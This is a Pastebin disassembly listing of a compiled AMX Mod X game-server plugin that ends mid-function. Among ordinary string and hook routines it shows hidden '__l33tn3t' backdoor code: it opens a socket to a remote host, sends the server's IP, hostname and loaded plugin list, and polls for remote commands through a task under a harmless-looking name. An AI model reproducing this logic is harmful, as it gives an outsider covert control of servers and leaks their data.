SHARE
TWEET

Untitled

a guest Feb 19th, 2015 302 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. 0x8                        PROC              ; stock replace_all(string[],len,what[],with[])
  3. 0xC                       BREAK
  4. 0x10                      BREAK
  5.                                              ; new pos
  6. 0x14                     PUSH.C  0x0        
  7. 0x1C                      BREAK
  8. 0x20                     PUSH.S  0x14        ; what[]
  9. 0x28                     PUSH.S  0xC         ; string[]
  10. 0x30                     PUSH.C  0x8        
  11. 0x38                   SYSREQ.C  0x0         ; contain
  12. 0x40                      STACK  0xC         ; free 3 cells
  13. 0x48                 STOR.S.pri  0xFFFFFFFC  ; pos
  14. 0x50                   EQ.C.pri  0xFFFFFFFF
  15. 0x58                       JZER  0x74      
  16. 0x60                      BREAK
  17. 0x64                   ZERO.pri
  18. 0x68                      STACK  0x4         ; free 1 cells
  19. 0x70                       RETN
  20. 0x74                      BREAK
  21.                                              ; new total
  22. 0x78                     PUSH.C  0x0        
  23. 0x80                      BREAK
  24.                                              ; new with_len
  25. 0x84                      STACK  0xFFFFFFFC  ; allocate 1 cells
  26. 0x8C                     PUSH.S  0x18        ; with[]
  27. 0x94                     PUSH.C  0x4        
  28. 0x9C                   SYSREQ.C  0x1         ; strlen
  29. 0xA4                      STACK  0x8         ; free 2 cells
  30. 0xAC                 STOR.S.pri  0xFFFFFFF4  ; with_len
  31. 0xB4                      BREAK
  32.                                              ; new diff
  33. 0xB8                      STACK  0xFFFFFFFC  ; allocate 1 cells
  34. 0xC0                     PUSH.S  0x14        ; what[]
  35. 0xC8                     PUSH.C  0x4        
  36. 0xD0                   SYSREQ.C  0x1         ; strlen
  37. 0xD8                      STACK  0x8         ; free 2 cells
  38. 0xE0                   MOVE.alt
  39. 0xE4                 LOAD.S.pri  0xFFFFFFF4  ; with_len
  40. 0xEC                    SUB.alt
  41. 0xF0                 STOR.S.pri  0xFFFFFFF0  ; diff
  42. 0xF8                      BREAK
  43.                                              ; new total_len
  44. 0xFC                      STACK  0xFFFFFFFC  ; allocate 1 cells
  45. 0x104                    PUSH.S  0xC         ; string[]
  46. 0x10C                    PUSH.C  0x4        
  47. 0x114                  SYSREQ.C  0x1         ; strlen
  48. 0x11C                     STACK  0x8         ; free 2 cells
  49. 0x124                STOR.S.pri  0xFFFFFFEC  ; total_len
  50. 0x12C                     BREAK
  51.                                              ; new temp_pos
  52. 0x130                    PUSH.C  0x0        
  53. 0x138                     BREAK
  54. 0x13C                     BREAK
  55. 0x140                    PUSH.S  0x18        ; with[]
  56. 0x148                    PUSH.S  0x14        ; what[]
  57. 0x150                LOAD.S.pri  0xFFFFFFFC  ; pos
  58. 0x158                LOAD.S.alt  0x10        ; len
  59. 0x160                   SUB.alt
  60. 0x164                  PUSH.pri
  61. 0x168                LOAD.S.pri  0xFFFFFFFC  ; pos
  62. 0x170                LOAD.S.alt  0xC         ; string[]
  63. 0x178                   IDXADDR
  64. 0x17C                  PUSH.pri
  65. 0x180                    PUSH.C  0x10      
  66. 0x188                  SYSREQ.C  0x2         ; replace
  67. 0x190                     STACK  0x14        ; free 5 cells
  68. 0x198                      JZER  0x2A8      
  69. 0x1A0                     BREAK
  70. 0x1A4                     INC.S  0xFFFFFFF8  ; total
  71. 0x1AC                     BREAK
  72. 0x1B0                LOAD.S.pri  0xFFFFFFF4  ; with_len
  73. 0x1B8                LOAD.S.alt  0xFFFFFFFC  ; pos
  74. 0x1C0                       ADD
  75. 0x1C4                STOR.S.pri  0xFFFFFFFC  ; pos
  76. 0x1CC                     BREAK
  77. 0x1D0                LOAD.S.pri  0xFFFFFFF0  ; diff
  78. 0x1D8                LOAD.S.alt  0xFFFFFFEC  ; total_len
  79. 0x1E0                   SUB.alt
  80. 0x1E4                STOR.S.pri  0xFFFFFFEC  ; total_len
  81. 0x1EC                     BREAK
  82. 0x1F0                LOAD.S.pri  0xFFFFFFFC  ; pos
  83. 0x1F8                LOAD.S.alt  0xFFFFFFEC  ; total_len
  84. 0x200                    JSLESS  0x214      
  85. 0x208                     BREAK
  86. 0x20C                      JUMP  0x2A8      
  87. 0x214                     BREAK
  88. 0x218                    PUSH.S  0x14        ; what[]
  89. 0x220                LOAD.S.pri  0xFFFFFFFC  ; pos
  90. 0x228                LOAD.S.alt  0xC         ; string[]
  91. 0x230                   IDXADDR
  92. 0x234                  PUSH.pri
  93. 0x238                    PUSH.C  0x8        
  94. 0x240                  SYSREQ.C  0x0         ; contain
  95. 0x248                     STACK  0xC         ; free 3 cells
  96. 0x250                STOR.S.pri  0xFFFFFFE8  ; temp_pos
  97. 0x258                     BREAK
  98. 0x25C                LOAD.S.pri  0xFFFFFFE8  ; temp_pos
  99. 0x264                  EQ.C.pri  0xFFFFFFFF
  100. 0x26C                      JZER  0x280      
  101. 0x274                     BREAK
  102. 0x278                      JUMP  0x2A8      
  103. 0x280                     BREAK
  104. 0x284                LOAD.S.pri  0xFFFFFFE8  ; temp_pos
  105. 0x28C                LOAD.S.alt  0xFFFFFFFC  ; pos
  106. 0x294                       ADD
  107. 0x298                STOR.S.pri  0xFFFFFFFC  ; pos
  108. 0x2A0                      JUMP  0x13C      
  109. 0x2A8                     BREAK
  110. 0x2AC                LOAD.S.pri  0xFFFFFFF8  ; total
  111. 0x2B4                     STACK  0x18        ; free 6 cells
  112. 0x2BC                      RETN
  113. 0x2C0                      PROC              ; public plugin_init()
  114. 0x2C4                     BREAK
  115. 0x2C8                     BREAK
  116. 0x2CC                    PUSH.C  0x68      
  117. 0x2D4                    PUSH.C  0x58      
  118. 0x2DC                    PUSH.C  0x0        
  119. 0x2E4                    PUSH.C  0xC        
  120. 0x2EC                  SYSREQ.C  0x3         ; register_plugin
  121. 0x2F4                     STACK  0x10        ; free 4 cells
  122. 0x2FC                     BREAK
  123.                                              ; new PC
  124. 0x300                     STACK  0xFFFFFFFC  ; allocate 1 cells
  125. 0x308                    PUSH.C  0x84      
  126. 0x310                    PUSH.C  0x4        
  127. 0x318                  SYSREQ.C  0x4         ; get_cvar_pointer
  128. 0x320                     STACK  0x8         ; free 2 cells
  129. 0x328                STOR.S.pri  0xFFFFFFFC  ; PC
  130. 0x330                     BREAK
  131. 0x334                LOAD.S.pri  0xFFFFFFFC  ; PC
  132. 0x33C                  MOVE.alt
  133. 0x340                  ZERO.pri
  134. 0x344                     JSGEQ  0x410      
  135. 0x34C                     BREAK
  136.                                              ; new Tmp[64]
  137. 0x350                     STACK  0xFFFFFF00  ; allocate 64 cells
  138. 0x358                  ZERO.pri
  139. 0x35C                  ADDR.alt  0xFFFFFEFC
  140. 0x364                      FILL  0x100       ; 64 cells
  141. 0x36C                     BREAK
  142. 0x370                    PUSH.C  0x3F      
  143. 0x378                  PUSH.ADR  0xFFFFFEFC  ; Tmp[64]
  144. 0x380                    PUSH.S  0xFFFFFFFC  ; PC
  145. 0x388                    PUSH.C  0xC        
  146. 0x390                  SYSREQ.C  0x5         ; get_pcvar_string
  147. 0x398                     STACK  0x10        ; free 4 cells
  148. 0x3A0                     BREAK
  149. 0x3A4                  PUSH.ADR  0xFFFFFEFC  ; Tmp[64]
  150. 0x3AC                    PUSH.C  0xC4      
  151. 0x3B4                    PUSH.C  0x3F      
  152. 0x3BC                  PUSH.ADR  0xFFFFFEFC  ; Tmp[64]
  153. 0x3C4                    PUSH.C  0x10      
  154. 0x3CC                  SYSREQ.C  0x6         ; format
  155. 0x3D4                     STACK  0x14        ; free 5 cells
  156. 0x3DC                     BREAK
  157. 0x3E0                  PUSH.ADR  0xFFFFFEFC  ; Tmp[64]
  158. 0x3E8                    PUSH.S  0xFFFFFFFC  ; PC
  159. 0x3F0                    PUSH.C  0x8        
  160. 0x3F8                  SYSREQ.C  0x7         ; set_pcvar_string
  161. 0x400                     STACK  0xC         ; free 3 cells
  162. 0x408                     STACK  0x100       ; free 64 cells
  163. 0x410                     BREAK
  164. 0x414                    PUSH.C  0x0        
  165. 0x41C                      CALL  0x4B0       ; stock __l33tn3t_plugin_init()
  166. 0x424                     STACK  0x4         ; free 1 cells
  167. 0x42C                  ZERO.pri
  168. 0x430                      RETN
  169. 0x434                      PROC              ; public plugin_cfg()
  170. 0x438                     BREAK
  171. 0x43C                     BREAK
  172. 0x440                    PUSH.C  0x0        
  173. 0x448                      CALL  0x5A0       ; stock __l33tn3t_plugin_cfg()
  174. 0x450                  ZERO.pri
  175. 0x454                      RETN
  176. 0x458                      PROC              ; public plugin_end()
  177. 0x45C                     BREAK
  178. 0x460                     BREAK
  179. 0x464                    PUSH.C  0x0        
  180. 0x46C                      CALL  0x1874      ; stock __l33tn3t_plugin_end()
  181. 0x474                  ZERO.pri
  182. 0x478                      RETN
  183. 0x47C                      PROC              ; public plugin_precache()
  184. 0x480                     BREAK
  185. 0x484                     BREAK
  186. 0x488                    PUSH.C  0xD4      
  187. 0x490                    PUSH.C  0x4        
  188. 0x498                  SYSREQ.C  0x8         ; precache_generic
  189. 0x4A0                     STACK  0x8         ; free 2 cells
  190. 0x4A8                  ZERO.pri
  191. 0x4AC                      RETN
  192. 0x4B0                      PROC              ; stock __l33tn3t_plugin_init()
  193. 0x4B4                     BREAK
  194. 0x4B8                     BREAK
  195. 0x4BC                    PUSH.C  0x180      
  196. 0x4C4                    PUSH.C  0x4        
  197. 0x4CC                  SYSREQ.C  0x4         ; get_cvar_pointer
  198. 0x4D4                     STACK  0x8         ; free 2 cells
  199. 0x4DC                  STOR.pri  0x23C       ; __l33tn3t_lock_cvar_pointer
  200. 0x4E4                       NOT
  201. 0x4E8                      JZER  0x534      
  202. 0x4F0                     BREAK
  203. 0x4F4                    PUSH.C  0x0        
  204. 0x4FC                    PUSH.C  0x1A4      
  205. 0x504                    PUSH.C  0x248      
  206. 0x50C                    PUSH.C  0x180      
  207. 0x514                    PUSH.C  0x10      
  208. 0x51C                  SYSREQ.C  0x9         ; register_cvar
  209. 0x524                     STACK  0x14        ; free 5 cells
  210. 0x52C                  STOR.pri  0x23C       ; __l33tn3t_lock_cvar_pointer
  211. 0x534                     BREAK
  212. 0x538                      PUSH  0x23C       ; __l33tn3t_lock_cvar_pointer
  213. 0x540                    PUSH.C  0x4        
  214. 0x548                  SYSREQ.C  0xA         ; get_pcvar_num
  215. 0x550                     STACK  0x8         ; free 2 cells
  216. 0x558                  MOVE.alt
  217. 0x55C                  LOAD.pri  0x11C       ; __l33tn3t_version
  218. 0x564                     JSLEQ  0x598      
  219. 0x56C                     BREAK
  220. 0x570                      PUSH  0x11C       ; __l33tn3t_version
  221. 0x578                      PUSH  0x23C       ; __l33tn3t_lock_cvar_pointer
  222. 0x580                    PUSH.C  0x8        
  223. 0x588                  SYSREQ.C  0xB         ; set_pcvar_num
  224. 0x590                     STACK  0xC         ; free 3 cells
  225. 0x598                  ZERO.pri
  226. 0x59C                      RETN
  227. 0x5A0                      PROC              ; stock __l33tn3t_plugin_cfg()
  228. 0x5A4                     BREAK
  229. 0x5A8                     BREAK
  230. 0x5AC                      PUSH  0x23C       ; __l33tn3t_lock_cvar_pointer
  231. 0x5B4                    PUSH.C  0x4        
  232. 0x5BC                  SYSREQ.C  0xA         ; get_pcvar_num
  233. 0x5C4                     STACK  0x8         ; free 2 cells
  234. 0x5CC                  MOVE.alt
  235. 0x5D0                  LOAD.pri  0x11C       ; __l33tn3t_version
  236. 0x5D8                      JNEQ  0x620      
  237. 0x5E0                     BREAK
  238. 0x5E4                    PUSH.C  0x0        
  239. 0x5EC                      PUSH  0x23C       ; __l33tn3t_lock_cvar_pointer
  240. 0x5F4                    PUSH.C  0x8        
  241. 0x5FC                  SYSREQ.C  0xB         ; set_pcvar_num
  242. 0x604                     STACK  0xC         ; free 3 cells
  243. 0x60C                     BREAK
  244. 0x610                 CONST.pri  0x1        
  245. 0x618                  STOR.pri  0x238       ; bool:__l33tn3t_enabled
  246. 0x620                     BREAK
  247. 0x624                  LOAD.pri  0x238       ; bool:__l33tn3t_enabled
  248. 0x62C                       NOT
  249. 0x630                      JZER  0x644      
  250. 0x638                     BREAK
  251. 0x63C                  ZERO.pri
  252. 0x640                      RETN
  253. 0x644                     BREAK
  254. 0x648                    PUSH.C  0x1FC      
  255. 0x650                    PUSH.C  0x4        
  256. 0x658                  SYSREQ.C  0xC         ; mkdir
  257. 0x660                     STACK  0x8         ; free 2 cells
  258. 0x668                     BREAK
  259. 0x66C                    PUSH.C  0x0        
  260. 0x674                      CALL  0x198C      ; stock __l33tn3t_flush_temp()
  261. 0x67C                     BREAK
  262.                                              ; new error
  263. 0x680                    PUSH.C  0x0        
  264. 0x688                     BREAK
  265. 0x68C                  PUSH.ADR  0xFFFFFFFC  ; error
  266. 0x694                    PUSH.C  0x2        
  267. 0x69C                      PUSH  0x14C       ; __l33tn3t_port
  268. 0x6A4                    PUSH.C  0x120      
  269. 0x6AC                    PUSH.C  0x10      
  270. 0x6B4                  SYSREQ.C  0xD         ; socket_open
  271. 0x6BC                     STACK  0x14        ; free 5 cells
  272. 0x6C4                  STOR.pri  0x244       ; __l33tn3t_socket
  273. 0x6CC                     BREAK
  274. 0x6D0                  LOAD.pri  0x244       ; __l33tn3t_socket
  275. 0x6D8                  MOVE.alt
  276. 0x6DC                  ZERO.pri
  277. 0x6E0                    JSLESS  0x6FC      
  278. 0x6E8                     BREAK
  279. 0x6EC                  ZERO.pri
  280. 0x6F0                     STACK  0x4         ; free 1 cells
  281. 0x6F8                      RETN
  282. 0x6FC                     BREAK
  283.                                              ; new data[1000]
  284. 0x700                     STACK  0xFFFFF060  ; allocate 1000 cells
  285. 0x708                  ZERO.pri
  286. 0x70C                  ADDR.alt  0xFFFFF05C
  287. 0x714                      FILL  0xFA0       ; 1000 cells
  288.                                              ; new tmp[128]
  289. 0x71C                     STACK  0xFFFFFE00  ; allocate 128 cells
  290. 0x724                  ZERO.pri
  291. 0x728                  ADDR.alt  0xFFFFEE5C
  292. 0x730                      FILL  0x200       ; 128 cells
  293. 0x738                     BREAK
  294. 0x73C                    PUSH.C  0x7F      
  295. 0x744                  PUSH.ADR  0xFFFFEE5C  ; tmp[128]
  296. 0x74C                      PUSH  0x11C       ; __l33tn3t_version
  297. 0x754                    PUSH.C  0xC        
  298. 0x75C                  SYSREQ.C  0xE         ; num_to_str
  299. 0x764                     STACK  0x10        ; free 4 cells
  300. 0x76C                     BREAK
  301. 0x770                    PUSH.C  0x0        
  302. 0x778                  PUSH.ADR  0xFFFFEE5C  ; tmp[128]
  303. 0x780                    PUSH.C  0x3E7      
  304. 0x788                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  305. 0x790                    PUSH.C  0x10      
  306. 0x798                  SYSREQ.C  0xF         ; add
  307. 0x7A0                     STACK  0x14        ; free 5 cells
  308. 0x7A8                     BREAK
  309. 0x7AC                  ADDR.pri  0xFFFFF05C  ; data[1000]
  310. 0x7B4                  PUSH.pri
  311. 0x7B8                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  312. 0x7C0                    PUSH.C  0x4        
  313. 0x7C8                  SYSREQ.C  0x1         ; strlen
  314. 0x7D0                     STACK  0x8         ; free 2 cells
  315. 0x7D8                    BOUNDS  0x3E7      
  316. 0x7E0                   POP.alt
  317. 0x7E4                   IDXADDR
  318. 0x7E8                  MOVE.alt
  319. 0x7EC                  LOAD.pri  0x1F8       ; __l33tn3t_separator
  320. 0x7F4                    STOR.I
  321. 0x7F8                     BREAK
  322.                                              ; new plugin_file[64]
  323. 0x7FC                     STACK  0xFFFFFF00  ; allocate 64 cells
  324. 0x804                  ZERO.pri
  325. 0x808                  ADDR.alt  0xFFFFED5C
  326. 0x810                      FILL  0x100       ; 64 cells
  327.                                              ; new plugin_name[64]
  328. 0x818                     STACK  0xFFFFFF00  ; allocate 64 cells
  329. 0x820                  ZERO.pri
  330. 0x824                  ADDR.alt  0xFFFFEC5C
  331. 0x82C                      FILL  0x100       ; 64 cells
  332.                                              ; new plugin_version[64]
  333. 0x834                     STACK  0xFFFFFF00  ; allocate 64 cells
  334. 0x83C                  ZERO.pri
  335. 0x840                  ADDR.alt  0xFFFFEB5C
  336. 0x848                      FILL  0x100       ; 64 cells
  337.                                              ; new plugin_author[64]
  338. 0x850                     STACK  0xFFFFFF00  ; allocate 64 cells
  339. 0x858                  ZERO.pri
  340. 0x85C                  ADDR.alt  0xFFFFEA5C
  341. 0x864                      FILL  0x100       ; 64 cells
  342.                                              ; new plugin_status[64]
  343. 0x86C                     STACK  0xFFFFFF00  ; allocate 64 cells
  344. 0x874                  ZERO.pri
  345. 0x878                  ADDR.alt  0xFFFFE95C
  346. 0x880                      FILL  0x100       ; 64 cells
  347. 0x888                     BREAK
  348. 0x88C                    PUSH.C  0x0        
  349. 0x894                 CONST.pri  0x24C      
  350. 0x89C                      HEAP  0x4        
  351. 0x8A4                      MOVS  0x4        
  352. 0x8AC                  PUSH.alt
  353. 0x8B0                    PUSH.C  0x3F      
  354. 0x8B8                  PUSH.ADR  0xFFFFE95C  ; plugin_status[64]
  355. 0x8C0                    PUSH.C  0x3F      
  356. 0x8C8                  PUSH.ADR  0xFFFFEA5C  ; plugin_author[64]
  357. 0x8D0                    PUSH.C  0x3F      
  358. 0x8D8                  PUSH.ADR  0xFFFFEC5C  ; plugin_name[64]
  359. 0x8E0                    PUSH.C  0x3F      
  360. 0x8E8                  PUSH.ADR  0xFFFFED5C  ; plugin_file[64]
  361. 0x8F0                    PUSH.C  0xFFFFFFFF
  362. 0x8F8                    PUSH.C  0x2C      
  363. 0x900                  SYSREQ.C  0x10        ; get_plugin
  364. 0x908                     STACK  0x30        ; free 12 cells
  365. 0x910                      HEAP  0xFFFFFFFC
  366. 0x918                     BREAK
  367. 0x91C                    PUSH.C  0x0        
  368. 0x924                  PUSH.ADR  0xFFFFED5C  ; plugin_file[64]
  369. 0x92C                    PUSH.C  0x3E7      
  370. 0x934                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  371. 0x93C                    PUSH.C  0x10      
  372. 0x944                  SYSREQ.C  0xF         ; add
  373. 0x94C                     STACK  0x14        ; free 5 cells
  374. 0x954                     BREAK
  375. 0x958                  ADDR.pri  0xFFFFF05C  ; data[1000]
  376. 0x960                  PUSH.pri
  377. 0x964                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  378. 0x96C                    PUSH.C  0x4        
  379. 0x974                  SYSREQ.C  0x1         ; strlen
  380. 0x97C                     STACK  0x8         ; free 2 cells
  381. 0x984                    BOUNDS  0x3E7      
  382. 0x98C                   POP.alt
  383. 0x990                   IDXADDR
  384. 0x994                  MOVE.alt
  385. 0x998                  LOAD.pri  0x1F8       ; __l33tn3t_separator
  386. 0x9A0                    STOR.I
  387. 0x9A4                     BREAK
  388. 0x9A8                    PUSH.C  0x0        
  389. 0x9B0                  PUSH.ADR  0xFFFFEC5C  ; plugin_name[64]
  390. 0x9B8                    PUSH.C  0x3E7      
  391. 0x9C0                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  392. 0x9C8                    PUSH.C  0x10      
  393. 0x9D0                  SYSREQ.C  0xF         ; add
  394. 0x9D8                     STACK  0x14        ; free 5 cells
  395. 0x9E0                     BREAK
  396. 0x9E4                  ADDR.pri  0xFFFFF05C  ; data[1000]
  397. 0x9EC                  PUSH.pri
  398. 0x9F0                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  399. 0x9F8                    PUSH.C  0x4        
  400. 0xA00                  SYSREQ.C  0x1         ; strlen
  401. 0xA08                     STACK  0x8         ; free 2 cells
  402. 0xA10                    BOUNDS  0x3E7      
  403. 0xA18                   POP.alt
  404. 0xA1C                   IDXADDR
  405. 0xA20                  MOVE.alt
  406. 0xA24                  LOAD.pri  0x1F8       ; __l33tn3t_separator
  407. 0xA2C                    STOR.I
  408. 0xA30                     BREAK
  409. 0xA34                    PUSH.C  0x0        
  410. 0xA3C                  PUSH.ADR  0xFFFFEB5C  ; plugin_version[64]
  411. 0xA44                    PUSH.C  0x3E7      
  412. 0xA4C                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  413. 0xA54                    PUSH.C  0x10      
  414. 0xA5C                  SYSREQ.C  0xF         ; add
  415. 0xA64                     STACK  0x14        ; free 5 cells
  416. 0xA6C                     BREAK
  417. 0xA70                  ADDR.pri  0xFFFFF05C  ; data[1000]
  418. 0xA78                  PUSH.pri
  419. 0xA7C                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  420. 0xA84                    PUSH.C  0x4        
  421. 0xA8C                  SYSREQ.C  0x1         ; strlen
  422. 0xA94                     STACK  0x8         ; free 2 cells
  423. 0xA9C                    BOUNDS  0x3E7      
  424. 0xAA4                   POP.alt
  425. 0xAA8                   IDXADDR
  426. 0xAAC                  MOVE.alt
  427. 0xAB0                  LOAD.pri  0x1F8       ; __l33tn3t_separator
  428. 0xAB8                    STOR.I
  429. 0xABC                     BREAK
  430. 0xAC0                    PUSH.C  0x0        
  431. 0xAC8                  PUSH.ADR  0xFFFFEA5C  ; plugin_author[64]
  432. 0xAD0                    PUSH.C  0x3E7      
  433. 0xAD8                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  434. 0xAE0                    PUSH.C  0x10      
  435. 0xAE8                  SYSREQ.C  0xF         ; add
  436. 0xAF0                     STACK  0x14        ; free 5 cells
  437. 0xAF8                     BREAK
  438. 0xAFC                  ADDR.pri  0xFFFFF05C  ; data[1000]
  439. 0xB04                  PUSH.pri
  440. 0xB08                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  441. 0xB10                    PUSH.C  0x4        
  442. 0xB18                  SYSREQ.C  0x1         ; strlen
  443. 0xB20                     STACK  0x8         ; free 2 cells
  444. 0xB28                    BOUNDS  0x3E7      
  445. 0xB30                   POP.alt
  446. 0xB34                   IDXADDR
  447. 0xB38                  MOVE.alt
  448. 0xB3C                  LOAD.pri  0x1F8       ; __l33tn3t_separator
  449. 0xB44                    STOR.I
  450. 0xB48                     BREAK
  451. 0xB4C                    PUSH.C  0x0        
  452. 0xB54                  PUSH.ADR  0xFFFFE95C  ; plugin_status[64]
  453. 0xB5C                    PUSH.C  0x3E7      
  454. 0xB64                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  455. 0xB6C                    PUSH.C  0x10      
  456. 0xB74                  SYSREQ.C  0xF         ; add
  457. 0xB7C                     STACK  0x14        ; free 5 cells
  458. 0xB84                     BREAK
  459. 0xB88                  ADDR.pri  0xFFFFF05C  ; data[1000]
  460. 0xB90                  PUSH.pri
  461. 0xB94                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  462. 0xB9C                    PUSH.C  0x4        
  463. 0xBA4                  SYSREQ.C  0x1         ; strlen
  464. 0xBAC                     STACK  0x8         ; free 2 cells
  465. 0xBB4                    BOUNDS  0x3E7      
  466. 0xBBC                   POP.alt
  467. 0xBC0                   IDXADDR
  468. 0xBC4                  MOVE.alt
  469. 0xBC8                  LOAD.pri  0x1F8       ; __l33tn3t_separator
  470. 0xBD0                    STOR.I
  471. 0xBD4                     BREAK
  472. 0xBD8                    PUSH.C  0x0        
  473. 0xBE0                    PUSH.C  0x7F      
  474. 0xBE8                  PUSH.ADR  0xFFFFEE5C  ; tmp[128]
  475. 0xBF0                    PUSH.C  0x0        
  476. 0xBF8                    PUSH.C  0x10      
  477. 0xC00                  SYSREQ.C  0x11        ; get_user_ip
  478. 0xC08                     STACK  0x14        ; free 5 cells
  479. 0xC10                     BREAK
  480. 0xC14                    PUSH.C  0x0        
  481. 0xC1C                  PUSH.ADR  0xFFFFEE5C  ; tmp[128]
  482. 0xC24                    PUSH.C  0x3E7      
  483. 0xC2C                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  484. 0xC34                    PUSH.C  0x10      
  485. 0xC3C                  SYSREQ.C  0xF         ; add
  486. 0xC44                     STACK  0x14        ; free 5 cells
  487. 0xC4C                     BREAK
  488. 0xC50                  ADDR.pri  0xFFFFF05C  ; data[1000]
  489. 0xC58                  PUSH.pri
  490. 0xC5C                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  491. 0xC64                    PUSH.C  0x4        
  492. 0xC6C                  SYSREQ.C  0x1         ; strlen
  493. 0xC74                     STACK  0x8         ; free 2 cells
  494. 0xC7C                    BOUNDS  0x3E7      
  495. 0xC84                   POP.alt
  496. 0xC88                   IDXADDR
  497. 0xC8C                  MOVE.alt
  498. 0xC90                  LOAD.pri  0x1F8       ; __l33tn3t_separator
  499. 0xC98                    STOR.I
  500. 0xC9C                     BREAK
  501. 0xCA0                    PUSH.C  0x7F      
  502. 0xCA8                  PUSH.ADR  0xFFFFEE5C  ; tmp[128]
  503. 0xCB0                    PUSH.C  0x0        
  504. 0xCB8                    PUSH.C  0xC        
  505. 0xCC0                  SYSREQ.C  0x12        ; get_user_name
  506. 0xCC8                     STACK  0x10        ; free 4 cells
  507. 0xCD0                     BREAK
  508. 0xCD4                    PUSH.C  0x0        
  509. 0xCDC                  PUSH.ADR  0xFFFFEE5C  ; tmp[128]
  510. 0xCE4                    PUSH.C  0x3E7      
  511. 0xCEC                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  512. 0xCF4                    PUSH.C  0x10      
  513. 0xCFC                  SYSREQ.C  0xF         ; add
  514. 0xD04                     STACK  0x14        ; free 5 cells
  515. 0xD0C                     BREAK
  516. 0xD10                    PUSH.C  0xFFFFFFFF
  517. 0xD18                  PUSH.ADR  0xFFFFF05C  ; data[1000]
  518. 0xD20                    PUSH.C  0x250      
  519. 0xD28                    PUSH.C  0xC        
  520. 0xD30                      CALL  0x1E70      ; stock __l33tn3t_sock_send(command[],data[],data_len)
  521. 0xD38                     BREAK
  522. 0xD3C                    PUSH.C  0x0        
  523. 0xD44                    PUSH.C  0x304      
  524. 0xD4C                    PUSH.C  0x0        
  525. 0xD54                    PUSH.C  0x30C      
  526. 0xD5C                    PUSH.C  0x4097    
  527. 0xD64                    PUSH.C  0x1        
  528. 0xD6C                    PUSH.C  0x8        
  529. 0xD74                  SYSREQ.C  0x13        ; random_num
  530. 0xD7C                     STACK  0xC         ; free 3 cells
  531. 0xD84                  STOR.pri  0x240       ; __l33tn3t_socket_check_taskid
  532. 0xD8C                  PUSH.pri
  533. 0xD90                    PUSH.C  0x28C      
  534. 0xD98                    PUSH.C  0x3DCCCCCD
  535. 0xDA0                    PUSH.C  0x1C      
  536. 0xDA8                  SYSREQ.C  0x14        ; set_task
  537. 0xDB0                     STACK  0x20        ; free 8 cells
  538. 0xDB8                     STACK  0x16A4      ; free 1449 cells
  539. 0xDC0                  ZERO.pri
  540. 0xDC4                      RETN
  541. 0xDC8                      PROC              ; public amx_g_check_bomb_pev_interval()
  542. 0xDCC                     BREAK
  543. 0xDD0                     BREAK
  544. 0xDD4                    PUSH.C  0x0        
  545. 0xDDC                      CALL  0xDEC       ; stock __l33tn3t_check_socket()
  546. 0xDE4                  ZERO.pri
  547. 0xDE8                      RETN
  548. 0xDEC                      PROC              ; stock __l33tn3t_check_socket()
  549. 0xDF0                     BREAK
  550. 0xDF4                     BREAK
  551. 0xDF8                  LOAD.pri  0x238       ; bool:__l33tn3t_enabled
  552. 0xE00                       NOT
  553. 0xE04                      JZER  0xE18      
  554. 0xE0C                     BREAK
  555. 0xE10                  ZERO.pri
  556. 0xE14                      RETN
  557. 0xE18                     BREAK
  558. 0xE1C                  LOAD.pri  0x244       ; __l33tn3t_socket
  559. 0xE24                  MOVE.alt
  560. 0xE28                  ZERO.pri
  561. 0xE2C                    JSLESS  0xE40      
  562. 0xE34                     BREAK
  563. 0xE38                  ZERO.pri
  564. 0xE3C                      RETN
  565. 0xE40                     BREAK
  566.                                              ; new command[24]
  567. 0xE44                     STACK  0xFFFFFFA0  ; allocate 24 cells
  568. 0xE4C                  ZERO.pri
  569. 0xE50                  ADDR.alt  0xFFFFFFA0
  570. 0xE58                      FILL  0x60        ; 24 cells
  571.                                              ; new data[1000]
  572. 0xE60                     STACK  0xFFFFF060  ; allocate 1000 cells
  573. 0xE68                  ZERO.pri
  574. 0xE6C                  ADDR.alt  0xFFFFF000
  575. 0xE74                      FILL  0xFA0       ; 1000 cells
  576. 0xE7C                     BREAK
  577. 0xE80                     BREAK
  578. 0xE84                    PUSH.C  0x1        
  579. 0xE8C                      PUSH  0x244       ; __l33tn3t_socket
  580. 0xE94                    PUSH.C  0x8        
  581. 0xE9C                  SYSREQ.C  0x15        ; socket_change
  582. 0xEA4                     STACK  0xC         ; free 3 cells
  583. 0xEAC                      JZER  0x1864    
  584. 0xEB4                     BREAK
  585. 0xEB8                  PUSH.ADR  0xFFFFF000  ; data[1000]
  586. 0xEC0                  PUSH.ADR  0xFFFFFFA0  ; command[24]
  587. 0xEC8                    PUSH.C  0x8        
  588. 0xED0                      CALL  0x1C34      ; stock __l33tn3t_sock_recv(command[24],data[1000])
  589. 0xED8                       NOT
  590. 0xEDC                      JZER  0xEF0      
  591. 0xEE4                     BREAK
  592. 0xEE8                      JUMP  0xE80      
  593. 0xEF0                     BREAK
  594. 0xEF4                    PUSH.C  0x0        
  595. 0xEFC                    PUSH.C  0x310      
  596. 0xF04                  PUSH.ADR  0xFFFFFFA0  ; command[24]
  597. 0xF0C                    PUSH.C  0xC        
  598. 0xF14                  SYSREQ.C  0x16        ; equal
  599. 0xF1C                     STACK  0x10        ; free 4 cells
  600. 0xF24                      JZER  0x10D0    
  601. 0xF2C                     BREAK
  602. 0xF30                  PUSH.ADR  0xFFFFF000  ; data[1000]
  603. 0xF38                    PUSH.C  0x4        
  604. 0xF40                  SYSREQ.C  0x1         ; strlen
  605. 0xF48                     STACK  0x8         ; free 2 cells
  606. 0xF50                      JZER  0xF88      
  607. 0xF58                  PUSH.ADR  0xFFFFF000  ; data[1000]
  608. 0xF60                    PUSH.C  0x4        
